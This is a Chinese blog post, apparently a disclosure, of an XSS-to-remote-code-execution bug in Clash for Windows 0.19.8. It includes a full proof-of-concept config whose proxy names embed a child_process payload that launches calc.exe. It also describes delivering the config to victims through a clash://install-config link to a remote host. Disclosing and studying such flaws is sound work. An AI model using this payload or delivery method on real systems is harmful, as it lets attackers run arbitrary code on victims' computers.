描述

crash_for_windows_pkg 由 Electron 提供支持。 如果 XSS 负载以代理的名义,我们可以远程执行受害者计算机上的任何 JavaScript 代码
2022-03-02T02:59:06.png

受影响的 clash_for_windows_pkg 版本

version: 0.19.8 (0.19.9版本还有其他漏洞触发,正好是0.19.9)
系统: Windows
系统版本: Windows 10

PoC

  1. 导入以下Clash配置文件:

    port: 7890
    socks-port: 7891
    allow-lan: true
    mode: Rule
    log-level: info
    external-controller: :9090
    proxies:
      - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
     type: socks5
     server: 127.0.0.1
     port: "17938"
     skip-cert-verify: true
      - name: abc
     type: socks5
     server: 127.0.0.1
     port: "8088"
     skip-cert-verify: true
    
    proxy-groups:
      -
     name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
     type: select
     proxies:
     - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
  2. 切换到这个"Profiles"
  3. 点击 "Proxies" 列(有时不需要。)

2022-03-02T03:02:07.png

注意:

您需要确保有效负载显示在代理列中。
漏洞利用在理论上是稳定的,但有时可能需要重新启动 crash_for_windows_pkg 并重现漏洞

利用方式

将恶意配置文件放到互联网上并使用clash://安装它,clash_for_windows_pkg 将自动下载并切换到它。

例如:clash://install-config?url=http%3A%2F%2F1.1.1.1%3A8888%2F1.txt&name=RCE

CFW最新版本:https://github.com/Fndroid/clash_for_windows_pkg/releases
CFW漏洞issues:https://github.com/Fndroid/clash_for_windows_pkg/issues/2710#issue-1148197704

最后修改:2022 年 03 月 02 日
如果觉得我的文章对你有用,请随意赞赏